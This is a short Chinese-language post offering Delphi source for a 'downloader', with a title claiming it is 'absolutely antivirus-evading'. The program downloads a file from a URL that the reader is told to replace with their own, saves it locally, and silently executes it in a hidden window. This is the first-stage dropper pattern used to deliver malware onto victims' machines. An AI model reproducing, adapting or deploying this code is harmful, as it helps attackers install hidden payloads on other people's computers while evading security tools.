自己用delphi写一个下载者,绝对免杀
program wsdgsRoad;
uses
URLMon, ShellApi;
var
u,l: pchar;
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
GetMem(u,100);
GetMem(l,100);
u:='
http://www.hao123.com';//改为你要下载的网址
l:='c:/downpage.htm';//改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0;
except
Result := False;
end;
end;
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar('open'), PChar(l),
PChar(''), nil, 0)
end;
freemem(u);
freemem(l);
end.